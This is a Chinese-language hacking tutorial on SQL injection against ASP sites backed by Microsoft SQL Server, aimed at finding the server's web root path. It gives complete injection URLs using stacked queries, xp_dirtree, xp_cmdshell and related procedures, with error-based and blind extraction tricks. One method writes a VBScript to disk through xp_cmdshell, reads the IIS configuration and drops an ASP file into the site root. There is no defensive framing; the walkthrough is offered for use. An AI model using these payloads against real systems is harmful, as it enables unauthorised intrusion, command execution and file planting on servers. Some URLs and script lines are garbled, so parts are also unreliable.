第一种方法:
这个是<<怪异的SQL注入>>中介绍的方法
利用sqlserver的xp_dirtree,好的我们先来将一下方法,然后再说其优劣处(在原文的基础上作了点补充)
建立表
语句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--
返回:正常的信息!说明建表成功!继续!
(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用
语句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree ’c:\’ --
返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。(好像只有暴这种方法了)
语句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07
将 varchar 值 ’@Inetpub’转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in( ’@Inetpub’))--
返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07
将 varchar 值 ’test’转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
好我们继续
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in( ’@Inetpub’,’test’))--
返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07
将 varchar 值 ’haha’转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
好了,你应该知道怎么做了吧,哈哈,就是把得到的表名添到那个括号里,有多少就放多少吧,
一点技巧:
有时候你会发现当输入类似
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
时不是显示出错,而是网页显示正常
晕了吧,别紧张哈
看看0<>(select top 1 paths from dirs) 说明返回是一个数字,
哈哈,测试一下看看是多少吧
100>(select top 1 paths from dirs)
返回正常
哈哈,用这种大于小于的方法很快就能猜出了
好我们继续
比如当出现
59=(select top 1 paths from dirs)
返回正常,
ok,说明名字是59
输入如下
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in( ’59’))--
记得带上引号哟
下面的方法就和原来的一样的了
还有一个问题就是
有时候用上面的方法输入59时,发现下一次的文件夹还是59
这个是怎么回事情呢?
呵呵,不知道你有没有注意过059和59是一样的?
就是这个原因了,哈哈,
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in( ’059’))--
发现显示下一个文件夹名字了,ok
优缺点分析:
优点就是所有的sqlserver用户都可以使用,因为xp_dirtree适用权限PUBLIC,
缺点是显示的是目录下的所有文件夹的名字,而且排列好像是没有什么顺序的,总之在好几千好几万个文件夹里找你想要的文件夹是痛苦的.
而且你知道了有那个文件夹也不能保证在根目录下,实在是痛苦的一件事情呀,很多时候是靠运气和耐力.
祝你成功方法二:
利用xp_cmdshell
哈哈,这个大家一定很熟悉了吧,我就简单说一下
建立表
语句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--
返回:正常的信息!说明建表成功!继续!
(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用
语句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_cmdshell ’dir c:\ /B/D’ --
返回:正常信息。说明写入C盘的所有目录成功了!这里用了dir c:\ /B/D,哈哈,不知道/B/D什么作用就试验试验看
语句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07
将 varchar 值 ’@Inetpub’转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in( ’@Inetpub’))--
返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07
将 varchar 值 ’test’转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
方法同上,就不说了
有时候我们也可以用下面的两个扩展来干些事情
1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入dirs表中:
5 ;insert dirs exec master.dbo.xp_availablemedia;--
我们可以通过查询temp的内容来获得驱动器列表及相关信息
(2)我们可以利用xp_subdirs获得子目录列表,并存入dirs表中:
5 ;insert into dirs exec master.dbo.xp_subdirs ’c:\’ ;--
优缺点分析:
很明显了,这样就不会出现xp_dirtree那种所有目录都放在一起的情况了,只会显示一级目录,找起来方便多了.
缺点也很明显,只有sa有这个权限,也有可能管理员删除了这个扩展(毕竟太强大了).
方法三:
这种方法很好
下面这个是原文
想到了使用adsutil.vbs程序,我是这样执行的
a’;exec master..xp_cmdshell ’cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt’;--是不是很长啦通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯),导入到a.txt中对于a.txt的实际位置默认当然是c:\winnt\system32,其实这都不是问题,不过遇到管理员把adsutil.vbs,删了或是放到别的地方我们就没办法了(不可能自已用echo 命令写一个吧)
第二步:用echo命令写下面的代码到c:\中,很多吗也不算吧
| .....xp_cmdshell ’echo set fso1=createobject("scripting.filesystemobject")>c:\read.vbs’;-- .....xp_cmdshell ’echo Set WshShell = Wscript.createObject("Wscript.Shell")>>c:\read.vbs’ ;-- ..... -------------------read.vbs--------------------------------- set fso1=createobject("scripting.filesystemobject") Set WshShell = Wscript.createObject("Wscript.Shell") spa=WshShell.Environment("process")("windir") set fil =fso1.opentextfile(spa & "\system32\aa.txt") do while not fil.atendofstream nr=fil.readline if left(nr,4)="Path" then pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3) exit do end if loop set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true) fil1.writeline "" ---------------cut here------------------------------------- |
第三步:当然就是执行read.vbs三,这样我们可以把aa.txt中的内容读出来找到web站点的实际路径
然后写一个叫dd.asp的文件在web站的根目录中,能否成功试试就知道咯
执行http://x.x.x.x/dd.asp
返回:\xxx
哈哈,的确是好方法,
不过原文好像有点问题
就是
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt")
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)
两句提交时会出错
于是我们想到了加号,和&的功能相同
还有就是写点什么东西到dd.asp呢?写入pa,哈哈